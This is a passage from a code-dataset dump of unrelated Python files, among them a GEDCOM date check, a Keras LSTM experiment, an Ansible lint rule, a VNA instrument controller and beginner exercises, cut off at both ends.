open(path, encoding=\"utf-8\") as fobj:\n data = fobj.read()\n for file in dir[2]:\n if not file.endswith(\".html\"): continue\n checkpath = os.path.join(dir[0], file)\n if checkpath == path: continue\n with open(checkpath, encoding=\"utf-8\") as fobj:\n checkdata = fobj.read()\n sim = similar(data, checkdata)\n if sim > 0.99:\n ret += 1\n print(\"{0:.3f}% similar {1} {2}\".format(sim * 100.0, path, checkpath))\n\nprint(\"Errors:\", ret)\n#In the future we will enable failing this test\nsys.exit(0)\n","sub_path":"build/checks/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"453128787","text":"import gedComProj.src.utils as utils\n\ndef checkFamily(family, individualDict):\n errMsg = []\n marriageDate = utils.calcDate(family['MARR'][0])\n husband = individualDict[family['HUSB'][0]]\n wife = individualDict[family['WIFE'][0]]\n if('DEAT' in wife.keys()):\n wifeDeath = utils.calcDate(wife['DEAT'][0])\n if(wifeDeath < marriageDate):\n errMsg += [(\"Error US05: Wife %s: %s in family %s died before she got married\" %(wife['ID'], wife['NAME'][0], family['ID']))]\n if('DEAT' in husband.keys()):\n husbandDeath = utils.calcDate(husband['DEAT'][0])\n if(husbandDeath < marriageDate):\n errMsg += [(\"Error US05: Husband %s: %s in family %s died before he got married\" %(husband['ID'], husband['NAME'][0], family['ID']))]\n return errMsg\n\ndef checkMarriageBeforeDeath(familyDict, individualDict):\n errorMessages = []\n for family in familyDict.values():\n errorMessageForFam = checkFamily(family, individualDict)\n errorMessages += errorMessageForFam\n return errorMessages","sub_path":"gedComProj/src/us05Story.py","file_name":"us05Story.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"229821780","text":"from django.contrib.auth.models import Permission\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.db.models.signals import post_save, post_syncdb\n\ndef create_perms(sender, **kwargs):\n perms = (\n ('can_disguise', 'Can disguise'),\n )\n\n # create a content type for the app if it doesn't already exist\n content_type, created = ContentType.objects.get_or_create(\n model = '',\n app_label = 'disguise',\n defaults = {'name': 'disguise'})\n \n for codename, title in perms:\n # create a permission if it doesn't already exist\n Permission.objects.get_or_create(\n codename = codename,\n content_type__pk = content_type.id,\n defaults = {'name': title,\n 'content_type': content_type,})\n\npost_save.connect(create_perms, Permission)\npost_syncdb.connect(create_perms, sender=__import__('disguise'))\n","sub_path":"disguise/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"78305847","text":"# NUM 1\nfor i in range(1, 101):\n #print(i, end = ',')\n if i % 15 == 0:\n i = 'FizzBuzz'\n elif i % 3 == 0:\n i = 'Fizz'\n elif i % 5 == 0:\n i = 'Buzz'\n print(i)\n\n\n# NUM 2\nx = int(input())\nn = 1\nif len(str(x)) == 5:\n for i in str(x):\n print(n, 'цифра равна ', i)\n n += 1\nelse:\n print('Число не 5-ти значное')\n\n\n#NUM 3\narr = [0,3,24,2,3,7]\nfor i in range(len(arr)-1):\n minimum = arr[i]\n for j in range(i + 1, len(arr)):\n if arr[j] < minimum:\n minimum = arr[j]\n index_of_min = j\n arr[i], arr[index_of_min] = arr[index_of_min], arr[i]\nprint(arr)\n\n\n#Num 4\ndef tab_on_space(s):\n s = s.expandtabs(4)\n return s\n\n\ndef space_on_tab(s):\n s = s.replace(' ','\\t')\n return s\n\n\ns = '343\\t4 9\\t8 0-9 0\\t98 8 8 0\\t9 '\n\nif ' ' in s:\n print(space_on_tab(s))\nelse:\n print('В строке нет 4-х пробелов')\nif '\\t' in s:\n print(tab_on_space(s))\nelse:\n print('В строке нет символа \"\\t\"')\n\n\n# Num 5\ns = 'В лесу родилась ёлочка, В лесу она росла. Зимой и летом стройная, Зелёная была.'\n# s = '4464688969'\nd = {'лесу': 1,\n 'она': 2,\n 'летом': 3\n }\nfor i in d.keys():\n s = s.replace(i, str(d[i]))\nprint(s)\n\n\n\n#Num 6\n\n","sub_path":"Practice/Kolpakov/task_3.py","file_name":"task_3.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"181422521","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 20 14:05:00 2018\n\n@author: hashemk\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom Bio.Seq import Seq\nfrom Bio import motifs\nfrom Bio.Alphabet import IUPAC\n\n\ndef app():\n msg = \"\"\"\n Welcome to peptide-MHC binding evaluation\n \"\"\"\n print(msg)\n \n\n\ndef get_all_peptides_prob_scores(peptides_df, blosum62_prob_fname):\n \"\"\"\n It will apply peptide_encoder to each peptide in peptides_df and return a matrix X for ML\n \"\"\"\n blosum_prob_df = df = pd.read_csv(blosum62_prob_fname, sep=',', index_col=0)\n \n epitopes = np.array(peptides_df['peptide'])\n mat = np.zeros((len(epitopes), 9 * len(IUPAC.IUPACProtein.letters) ))\n for i, epi in enumerate(epitopes):\n epi_df = peptide_encoder(epi, blosum_prob_df) \n epi_mat = epi_df.as_matrix()\n epi_array = np.ndarray.flatten(epi_mat)\n mat[i, :] = epi_array\n #print(epi_array)\n return(mat)\n \n\ndef peptide_encoder(peptide, blosum_df):\n pep_aa = [p for p in peptide] \n pep_prob = blosum_df.loc[pep_aa, :]\n return(pep_prob)\n\n\n\ndef reformat_labels(label_str):\n old_labels = ['SB', 'WB', 'NB']\n if not label_str in old_labels:\n msg = 'Unknown label detected: '+ label_str + ' \\n Expects only SB, WB, and NB '\n raise ValueError(msg)\n new_labels = [0 , 0, 0]\n new_labels[old_labels.index(label_str)] = 1\n return(new_labels)\n \n\n \ndef get_pMHC_data(pmch_fname):\n df = pd.read_csv(pmch_fname, sep='\\t')\n return(df)\n \nif __name__ == '__main__':\n app()","sub_path":"pyEpitope/pyPeptideMHC/evaluate_peptide_mch_binding.py","file_name":"evaluate_peptide_mch_binding.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307189256","text":"responses = {}\n\n# Set a flag to indicate the poll is active\npoll_active = True\n\nwhile poll_active:\n # prompt for persons name and response\n name = input(\"\\nWhat is your name? \")\n response = input (\"Which mountain would you like to climb someday? \")\n\n # Store response in a dictionary\n responses[name] = response\n\n # Find out if anyone else is going to take the poll\n repeat = input(\"Would you like to let another person respond? (yes/no) \")\n if repeat == 'no':\n poll_active = False\n\nprint (\"\\n--- Poll Results ---\")\nfor name, response in responses.items():\n print (f\"{name} would you like to climb {response}\")\n","sub_path":"Chapter_7/mountain_poll.py","file_name":"mountain_poll.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"612582572","text":"from nested_lookup import nested_lookup\n\nfrom ansiblelater.standard import StandardBase\n\n\nclass CheckMetaMain(StandardBase):\n\n sid = \"ANSIBLE0002\"\n description = \"Roles must contain suitable meta/main.yml\"\n helptext = \"file should contain `{key}` key\"\n version = \"0.1\"\n types = [\"meta\"]\n\n def check(self, candidate, settings):\n content, errors = self.get_raw_yaml(candidate, settings)\n keys = [\"author\", \"description\", \"min_ansible_version\", \"platforms\"]\n\n if not errors:\n has_galaxy_info = (isinstance(content, dict) and \"galaxy_info\" in content.keys())\n has_dependencies = (isinstance(content, dict) and \"dependencies\" in content.keys())\n\n if not has_galaxy_info:\n errors.append(self.Error(None, self.helptext.format(key=\"galaxy_info\")))\n\n if not has_dependencies:\n errors.append(self.Error(None, self.helptext.format(key=\"dependencies\")))\n\n for key in keys:\n if has_galaxy_info and not nested_lookup(key, content.get(\"galaxy_info\", {})):\n errors.append(self.Error(None, self.helptext.format(key=key)))\n\n return self.Result(candidate.path, errors)\n","sub_path":"ansiblelater/rules/CheckMetaMain.py","file_name":"CheckMetaMain.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"14376173","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport numpy as np\nfrom collections import defaultdict\nfrom keras.preprocessing import sequence\nfrom keras.optimizers import SGD, RMSprop, Adagrad\nfrom keras.utils import np_utils\nimport keras.layers.convolutional\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, RepeatVector, TimeDistributedDense\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers.recurrent import LSTM, GRU, JZS1\nfrom IterableFP import flatten\n\nfrom Metrics import rpf1\n\n'''\n Train a LSTM on the IMDB sentiment classification task.\n\n The dataset is actually too small for LSTM to be of any advantage\n compared to simpler, much faster methods such as TF-IDF+LogReg.\n\n Notes:\n\n - RNNs are tricky. Choice of batch size is important,\n choice of loss and optimizer is critical, etc.\n Most configurations won't converge.\n\n - LSTM loss decrease during training can be quite different\n from what you see with CNNs/MLPs/etc. It's more or less a sigmoid\n instead of an inverse exponential.\n\n GPU command:\n THEANO_FLAGS=mode=FAST_RUN,device=gpu,floatX=float32 python imdb_lstm.py\n\n 250s/epoch on GPU (GT 650M), vs. 400s/epoch on CPU (2.4Ghz Core i7).\n'''\nfrom Decorators import memoize_to_disk\nfrom load_data import load_process_essays\n\nfrom window_based_tagger_config import get_config\nfrom IdGenerator import IdGenerator as idGen\n# END Classifiers\n\nimport Settings\nimport logging\n\nimport datetime\nprint(\"Started at: \" + str(datetime.datetime.now()))\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\nlogger = logging.getLogger()\n\nTEST_SPLIT = 0.0\nPRE_PEND_PREV_SENT = 0 #2 seems good\nREVERSE = False\n\n# end not hashed\n\n# construct unique key using settings for pickling\n\nsettings = Settings.Settings()\nfolder = settings.data_directory + \"CoralBleaching/BrattData/EBA1415_Merged/\"\nprocessed_essay_filename_prefix = settings.data_directory + \"CoralBleaching/BrattData/Pickled/essays_proc_pickled_\"\n\nconfig = get_config(folder)\nconfig[\"stem\"] = True\n\n\"\"\" FEATURE EXTRACTION \"\"\"\n\"\"\" LOAD DATA \"\"\"\nmem_process_essays = memoize_to_disk(filename_prefix=processed_essay_filename_prefix)(load_process_essays)\ntagged_essays = mem_process_essays( **config )\n\ngenerator = idGen()\ngenerator.get_id(\"......\")\nxs = []\nys = []\n\nSENT_START_TAG = 'SENT_START'\nSENT_END_TAG = 'SENT_END'\n\nESSAY_START_TAG = 'ESSAY_START'\nESSAY_END_TAG = 'ESSAY_END'\n\n# cut texts after this number of words (among top max_features most common words)\nmaxlen = 0\n\nfrom numpy.random import shuffle\nshuffle(tagged_essays)\n\nfor essay in tagged_essays:\n essay_rows = [[generator.get_id(ESSAY_START_TAG)]]\n for sentence in essay.sentences:\n row = []\n\n un_tags = set()\n for word, tags in [(SENT_START_TAG, set())] + sentence + [(SENT_END_TAG, set())]:\n id = generator.get_id(word)\n row.append(id)\n for tag in tags:\n un_tags.add(tag)\n\n xs.append(essay_rows[-1])\n ys.append(row)\n essay_rows.append(row)\n\n maxlen = max(len(xs[-1]), maxlen)\n xs.append(essay_rows[-1])\n ys.append([generator.get_id(ESSAY_END_TAG)])\n maxlen = max(len(xs[-1]), maxlen)\n\nmax_features=generator.max_id() + 2\nbatch_size = 16\n\nprint(\"Loading data...\")\nnum_training = int((1.0 - TEST_SPLIT) * len(xs))\nnum_left = len(xs) - num_training\n#num_valid = int(num_left / 2.0)\nnum_valid = 0\nnum_test = len(xs) - num_training - num_valid\n\n#MAX_LEN = maxlen\nMAX_LEN = 30\nprint(\"Pad sequences (samples x time)\")\n\ndef repeat_vector(vector):\n output = []\n ix = 0\n for i in range(MAX_LEN):\n if ix >= len(vector):\n ix = 0\n output.append(vector[ix])\n ix += 1\n return output\n\ndef to_one_hot(id):\n zeros = [0] * max_features\n zeros[id] = 1\n return zeros\n\n# Reverse inputs\nxs = map(lambda x: x[::-1], xs)\nxs = sequence.pad_sequences(xs, maxlen=MAX_LEN)\nxs = np.asarray(xs)\n\n# don't zero pad - just predicts 0's all the time\nys = map(repeat_vector, ys)\nys = map(lambda y: map(to_one_hot, y), ys)\nys = np.asarray(ys)\n\n\"\"\"X_train, y_train, X_valid, y_valid, X_test, y_test = \\\n xs[:num_training], ys[:num_training], \\\n xs[num_training:num_training + num_valid], ys[num_training:num_training + num_valid], \\\n xs[num_training + num_valid:], ys[num_training + num_valid:]\n\"\"\"\n\nX_train, y_train = xs, ys\n\nprint(X_train.shape, 'train sequences')\nprint(\"YS Shape: \", ys.shape)\n\nembedding_size = 32\nhidden_size = 32\n\nprint('Build model...')\nmodel = Sequential()\nmodel.add(Embedding(max_features, embedding_size))\nmodel.add(JZS1(embedding_size, hidden_size, return_sequences=True)) # try using a GRU instead, for fun\nmodel.add(TimeDistributedDense(hidden_size, max_features, activation=\"softmax\"))\n\n# try using different optimizers and different optimizer configs\nmodel.compile(loss='mse', optimizer='adam')\n\noutp = model.predict(X_train)\nprint(\"Output Shape:\", outp.shape)\n\nprint(\"Train...\")\n\ndef ids_to_words(vector):\n s = \"\"\n for id in vector:\n if id == 0:\n continue\n word = generator.get_key(id)\n if word in {\".\", \"!\", \"?\"}:\n s += word\n else:\n s += \" \" + word\n return s.strip()\n\ndef max_probs_to_words(vector):\n ixs = np.argmax(vector, axis=1)\n return ids_to_words(flatten(ixs))\n\ndef test(epochs = 1):\n results = model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=epochs, validation_split=0.0, show_accuracy=True, verbose=1)\n\n r = range(len(X_train))\n shuffle(r)\n ixs = r\n\n x_sub = X_train[ixs]\n y_sub = y_train[ixs]\n\n p_sub = model.predict_proba(x_sub, batch_size=batch_size)\n\n cnt = 0\n for x, y, p in zip(x_sub, y_sub, p_sub):\n if p.max() > 0 and cnt < 10:\n x_rev = x[::-1]\n print(\"X :\", ids_to_words(x_rev))\n print(\"Y :\", max_probs_to_words(y))\n print(\"Pred:\", max_probs_to_words(p))\n cnt += 1\n\niterations = 0\nwhile True:\n iterations += 1\n print(\"Iteration:\", iterations)\n test(5)\n\nprint(\"at: \" + str(datetime.datetime.now()))\n\n# Causer: recall 0.746835443038 precision 0.670454545455 f1 0.706586826347 - 32 embedding, lstm, sigmoid, adam\n","sub_path":"Experiments/_Legacy/CoralBleaching/RecurrentNeuralNetwork/keras_predict_next_sentence_fchollet.py","file_name":"keras_predict_next_sentence_fchollet.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"75157797","text":"from django.conf.urls.defaults import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', 'shopping.views.product_search', name='product_search'),\n url(r'^results/(?P[\\w\\s]{0,100})/$', 'shopping.views.product_results', name='product_results'),\n # url(r'^spendli/', include('spendli.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"spendli/shopping/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"469478936","text":"# Problem: https://www.hackerrank.com/challenges/runningtime/problem\n\n#!/bin/python3\n\ndef runningTime(arr):\n count = 0\n for i in range(len(arr)):\n j = i-1 \n key = arr[i]\n while(j>=0 and arr[j]>key):\n arr[j+1] = arr[j]\n j -= 1\n count += 1\n arr[j+1] = key\n # print(*arr)\n print(count)\n \nn = int(input())\narr = list(map(int, input().rstrip().split()))\nresult = runningTime(arr)\n\n\n","sub_path":"Hackerrank/Algorithms/runningTimeOfAlgorithm.py","file_name":"runningTimeOfAlgorithm.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"142060144","text":"from django.urls import path\r\nfrom .views import (\r\n\r\n ArticleListView,\r\n ArticleDetailView,\r\n ArticleCreateView,\r\n ArticleUpdateView,\r\n ArticleDeleteView,\r\n CategoryView,\r\n TagNavView,\r\n LikeView,\r\n AddCommentView\r\n)\r\n\r\napp_name = 'blog'\r\n\r\nurlpatterns = [\r\n path('',ArticleListView.as_view(),name = 'article-list'),\r\n path('',ArticleDetailView.as_view(),name = 'article-detail'),\r\n path('create',ArticleCreateView.as_view(),name = 'article-create'),\r\n path('/update',ArticleUpdateView.as_view(),name = 'article-update'),\r\n path('/delete',ArticleDeleteView.as_view(),name = 'article-delete'),\r\n path('tag/',CategoryView,name = 'tag-view'),\r\n path('tag',TagNavView,name = 'tag-page'),\r\n path('like/',LikeView,name='likes_post'),\r\n path('comment//',AddCommentView.as_view(),name='post-comment')\r\n\r\n\r\n]\r\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"526339532","text":"# -*- coding: utf-8 -*-\n# encoding: utf-8\n\nimport time, Queue, threading\n\nclass gpsclient(threading.Thread):\n\tdef __init__(self, queue):\n\t\tthreading.Thread.__init__(self)\n\t\tself.queue = queue\n\t\tself.running = False\n\n\t\tself.coords = []\n\t\tfile = open(\"testdata/testvarv1.txt\")\n\t\tfor line in file.readlines():\n\t\t\tcoords = line.split()\n\t\t\tfor coord in coords:\n\t\t\t\tparts = coord.split(',')\n\t\t\t\tif len(parts)>=2:\n\t\t\t\t\tlat = float(parts[1])\n\t\t\t\t\tlong = float(parts[0])\n\t\t\t\t\tc = [lat, long]\n\t\t\t\t\tself.coords.append(c)\t\t\t\t\t\n\n\t\tself.i=0\n\t\tfile.close()\n\n\tdef __del__(self):\n\t\tpass\n\n\tdef stop(self):\n\t\tself.running = False\n\n\tdef run(self):\n\t\tself.running = True\n\n\t\twhile self.running:\n\n\t\t\tgpsdata = {}\n\n\t\t\tcoord = self.coords[self.i]\n\n\t\t\tgpsdata['lat'] = coord[0]\n\t\t\tgpsdata['long'] = coord[1]\n\t\t\tgpsdata['time'] = self.i\n\t\t\tgpsdata['time_utc'] = self.i\n\t\t\tgpsdata['altitude'] = 17.0\n\t\t\tgpsdata['speed'] = 17.0\n\n\t\t\tself.queue.put(gpsdata)\n\n\t\t\tself.i += 1\n\t\t\tif self.i>=len(self.coords): self.i=0\n\n\t\t\ttime.sleep(0.2)\n","sub_path":"testgpsclient.py","file_name":"testgpsclient.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"178029669","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 18 15:05:35 2020\n\n@author: tma\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport visa #PyVisa is required along with NIVisa\nimport os\n\n'''Library for controlling the M5065 Copper Mountain VNA. The Network Remote\nControl Settings must have Socket Server ON in ordr for this to work. The \ndefault port is 5025\n\nNote all commands are case sensitive so tamper at your own risk\n\nThis programs assumes that the VNA is sweeping in continuous mode. Otherwise \nthe trigger has to be adjusted.\n\n\n'''\n\nclass VNA():\n \n \n def __init__(self,socket = '5025',start = '3 GHz',stop = '4 GHz',\n IFBW = '1 kHZ',points = 3001):\n self.CMT = Open_Device()\n self.Num_Traces = 4\n self.start = start\n self.stop = stop\n self.BW = IFBW\n self.Points = points\n self.Traces_strings = ['S11','S12','S22','S21']\n self.power = -10 # in dBm\n \n self.display_set = 'MLOG|PHAS|GDEL|SLIN|SLOG|SCOM|SMIT|SADM|PLIN|PLOG| \\\n POL|MLIN|SWR|REAL|IMAG|UPH'\n \n #Initialize VNA with Default Params\n self.Freq_Range()\n self.IFBW()\n self.SetPower()\n self.NPoints()\n self.Traces(Format = 'MLOG')\n #self.data = self.Record()\n \n #figures\n self.logplot = []\n self.linplot = []\n self.phaseplot = []\n self.phaseplot2 = []\n \n \n\n def Open_Device(socket = '5025'):\n '''Opens the Device Through PyVISA'''\n \n rm = visa.ResourceManager()\n \n try:\n string = 'TCPIP0::localhost::' + socket + '::SOCKET'\n CMT = rm.open_resource(string)\n except:\n print(\"Failure to connect to VNA!\")\n print(\"Check network settings\")\n #The VNA ends each line with this. Reads will time out without this\n CMT.read_termination='\\n'\n #Set a really long timeout period for slow sweeps\n CMT.timeout = 100000\n \n return CMT\n \n \n def Freq_Range(self):\n '''Sets the Frequency Range'''\n \n print('Starting Frequency is: ' + self.start)\n print('Ending Frequency is: ' + self.stop)\n values=[]\n string = 'SENS1:FREQ:STAR ' + self.start + ';STOP ' + self.stop + '\\n'\n self.CMT.write_ascii_values(string,values)\n \n return\n \n \n def IFBW(self):\n '''Sets the IF BW'''\n \n print('IFBW: ' + self.BW)\n values=[]\n string = 'SENS1:BWID ' + self.BW + '\\n'\n self.CMT.write_ascii_values(string,values)\n \n return\n \n \n def NPoints(self):\n '''Sets the Number of Points'''\n \n print('NPoints is: ' + str(self.Points))\n values=[]\n string = 'SENS1:SWE:POIN ' + str(self.Points) +'\\n'\n self.CMT.write_ascii_values(string,values) #Number of points\n \n return\n \n def SetPower(self):\n '''Sets the power in dbm'''\n values = []\n string = \"SOUR:POW:LEV:IMM \" + str(self.power) +'\\n'\n self.CMT.write_ascii_values(string,values) #Number of points\n \n string = \"SOUR:POW:LEV:IMM?\\n\"\n b = self.CMT.query(string) #Number of points\n self.power = b\n return\n \n def Trigger(self,Setting = 'ON'):\n '''Sets the trigger to be continuous or not also sets the trigger to be\n software defined\n \n Selects the trigger source (see options below).If the the continuous trigger \n initiation mode is enabled with the command INIT:C ONT ON, the \n INTernalchoice leads to continuous sweep. The choice of another\n option switches the analyzer to the triggerwaiting state from the\n corresponding source.If the the continuous trigger initiation mode\n is disabled with the command INIT:C ONT OFF, the reactionto INIT command \n is different. Selecting INTernal leads to a single sweep in response to\n the commandINIT, selection another option puts the analyzer in a single\n trigger waiting state in response to the INITcommand\n \n '''\n values=[]\n string = 'INIT:CONT ' + Setting +'\\n'\n self.CMT.write_ascii_values(string,values) \n self.CMT.write_ascii_values('TRIG:SOUR BUS\\n',values)\n return\n \n \n def Traces(self,Format = 'POL'):\n '''Defines the traces with a default ordering that goes \n S11, S12, S22, S21 and sets up the traces to be recorded in polar format\n \n The ordering is returned at the function end\n {MLOG|PHAS|GDEL|SLIN|SLOG|SC OM|SMIT|SADM|PLIN|PLOG| POL|MLIN|SWR|REAL|IMAG|UPH}\n '''\n \n values=[]\n str1 = 'CALC1:PAR:COUN ' + str(self.Num_Traces) + '\\n'\n self.CMT.write_ascii_values(str1,values) # Traces\n \n Traces_strings = self.Traces_strings #['S11','S12','S22','S21']\n TracesForm_strings = ['TRAC1','TRAC2','TRAC3','TRAC4'] \n #For some reason the TRAC commands dont work\n \n for i in range(self.Num_Traces):\n '''Define the order and Format of the Traces'''\n str2 = 'CALC1:PAR' + str(i+1) + ':DEF ' + Traces_strings[i] + '\\n'\n str4 = 'CALC1:PAR' + str(i+1) + ':SEL\\n'\n str5 = 'CALC1:FORM ' +Format + '\\n'\n # str3 = 'CALC1:' + TracesForm_strings[i] + ':FORM POL\\n'\n \n self.CMT.write_ascii_values(str2,values) #Choose which gets measured\n self.CMT.write_ascii_values(str4,values) #Log Mag format\n self.CMT.write_ascii_values(str5,values) #Log Mag format\n \n print('Trace ordering is: ')\n print(*Traces_strings[0:i+1])\n return Traces_strings[0:i+1] # returns the trace labels/ordering\n \n \n \n def Record(self):\n '''Records Data from the Traces with a single \"new\" measurement\n \n '''\n \n #Make sure the traces are in polar format\n self.Traces(Format = 'POL')\n \n values=[] \n self.CMT.write_ascii_values('TRIG:SEQ:SING\\n',values) #Trigger a single sweep\n self.CMT.query('*OPC?\\n') #Wait for it to finish\n \n Traces_strings = self.Traces_strings \n TracesForm_strings = ['TRAC1','TRAC2','TRAC3','TRAC4']\n \n Freq = self.CMT.query(\"SENS1:FREQ:DATA?\\n\") #Get data as string\n Freq = Freq.split(\",\")\n Freq = np.array(Freq)\n Freq = Freq.astype('float')\n \n \n # Define DataFrame\n dat_freq = pd.Series(data=Freq*1E-6,name = 'Freq (MHz)')\n df = pd.DataFrame(dat_freq)\n for i in range(self.Num_Traces):\n str2 = 'CALC1:' + TracesForm_strings[i] + ':DATA:FDAT?\\n'\n \n data = self.CMT.query(str2) #Data is returned as a String\n data = data.split(\",\")\n data = np.array(data)\n data = data.astype('float')\n X = data[::2]\n Y = data[1::2]\n Z = X + np.complex(0,1)*Y\n df[Traces_strings[i]] = Z\n self.data = df\n return \n \n def Rec_Sav_Res(self,direc = '/'):\n \n #Records Compelx data and then resets the Screen to log mag\n \n self.Record()\n self.SaveData(direc = direc)\n self.Traces(Format = 'MLOG')\n \n return\n\n def SaveData(self,direc = '/'):\n # as an example direc should be \n #direc = '/home/tma/Documents/Python Scripts/test1/'\n \n filepath = direc\n \n if os.path.isdir(direc):\n print('This Directory already exists. This data will not be saved')\n else:\n os.mkdir(direc)\n #Save the Data\n df = self.data\n df.to_csv(filepath + 'data.txt')\n \n \n #Save the VNA settings \n l1 = ['Num_Traces','Freq Start','Freq End','IFBW','Points','Power (dBm)']\n l2 = [self.Num_Traces ,self.start, self.stop,self.BW,self.Points,self.power]\n \n dictionary = dict(zip(l1, l2))\n Common_Params = pd.Series(dictionary)\n Common_Params.to_csv(filepath + 'VNAsettings.txt')\n \n #Make Plots and Plot the figures\n x = df[df.columns[0]].values\n y = (df[df.columns[1:]].values)\n \n logplot = plt.figure();\n self.logplot = logplot\n for y_arr,label in zip( np.transpose(y),self.Traces_strings):\n plt.plot(x,20*np.log10(np.abs(y_arr)),label = label + '|Z|')\n plt.legend()\n plt.ylabel('dB')\n plt.xlabel(df.columns[0])\n logplot.savefig(filepath + 'logplot.png',dpi=600)\n \n \n linplot = plt.figure();\n self.linplot = linplot\n\n for y_arr,label in zip( np.transpose(y),self.Traces_strings):\n plt.plot(x,(np.abs(y_arr)),label = label + '|Z|')\n plt.legend()\n plt.ylabel('Mag')\n plt.xlabel(df.columns[0])\n linplot.savefig(filepath + 'linplot.png',dpi=600)\n\n phaseplot = plt.figure();\n self.phaseplot = phaseplot\n\n for y_arr,label in zip( np.transpose(y),self.Traces_strings):\n plt.plot(x,np.unwrap(np.angle(y_arr)),label = label + 'phi')\n plt.legend()\n plt.ylabel('Unwrapped Phase')\n plt.xlabel(df.columns[0])\n phaseplot.savefig(filepath + 'phaseplot.png',dpi=600)\n\n phaseplot2 = plt.figure();\n self.phaseplot2 = phaseplot2\n\n for y_arr,label in zip( np.transpose(y),self.Traces_strings):\n plt.plot(x,(np.angle(y_arr)),label = label + 'phi')\n plt.legend()\n plt.ylabel('Unwrapped Phase')\n plt.xlabel(df.columns[0])\n phaseplot2.savefig(filepath + 'phaseplot2.png',dpi=600)\n\n","sub_path":"CM_VNA.py","file_name":"CM_VNA.py","file_ext":"py","file_size_in_byte":9976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"589584700","text":"from argparse import ArgumentParser\n\nfrom cauldron.cli.server import run as server_run\n\n\ndef add_kernel_action(sub_parser: ArgumentParser) -> ArgumentParser:\n \"\"\"Populates the sub parser with the kernel/server arguments\"\"\"\n return server_run.create_parser(sub_parser)\n\n\ndef add_shell_action(sub_parser: ArgumentParser) -> ArgumentParser:\n \"\"\"Populates the sub parser with the shell arguments\"\"\"\n\n sub_parser.add_argument(\n '-p', '--project',\n dest='project_directory',\n type=str,\n default=None\n )\n\n sub_parser.add_argument(\n '-l', '--log',\n dest='logging_path',\n type=str,\n default=None\n )\n\n sub_parser.add_argument(\n '-o', '--output',\n dest='output_directory',\n type=str,\n default=None\n )\n\n sub_parser.add_argument(\n '-s', '--shared',\n dest='shared_data_path',\n type=str,\n default=None\n )\n\n return sub_parser\n\n\ndef parse(args: list = None) -> dict:\n \"\"\"\n Parses the command line arguments and returns a dictionary containing the\n results.\n \n :param args:\n The command line arguments to parse. If None, the system command line\n arguments will be used instead.\n \"\"\"\n\n parser = ArgumentParser(description='Cauldron command')\n parser.add_argument(\n 'command',\n nargs='?',\n default='shell',\n help='The Cauldron command action to execute'\n )\n\n parser.add_argument(\n '-v', '--version',\n dest='show_version_info',\n default=False,\n action='store_true',\n help='show Cauldron version and exit'\n )\n\n sub_parsers = parser.add_subparsers(\n dest='command',\n title='Sub-Command Actions',\n description='The actions you can execute with the cauldron command',\n )\n\n sub_parsers.add_parser('shell', aliases=['version'])\n add_shell_action(sub_parsers.add_parser('shell'))\n add_kernel_action(sub_parsers.add_parser('kernel', aliases=['serve']))\n\n arguments = vars(parser.parse_args(args=args))\n arguments['parser'] = parser\n return arguments\n","sub_path":"cauldron/invoke/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"591746830","text":"def find_word(board, word):\n # list to keep track of what letters we have used in our search\n usedLetters = []\n\n def is_out_of_bounds(spot):\n if spot[0] < 0 or spot[0] >= len(board):\n return True\n elif spot[1] < 0 or spot[1] >= len(board):\n return True\n else:\n return False\n\n def is_adjacent(one, two):\n if is_out_of_bounds(one) or is_out_of_bounds(two):\n return False\n\n if one[0] == two[0] and one[1] == two[1]:\n return False\n\n 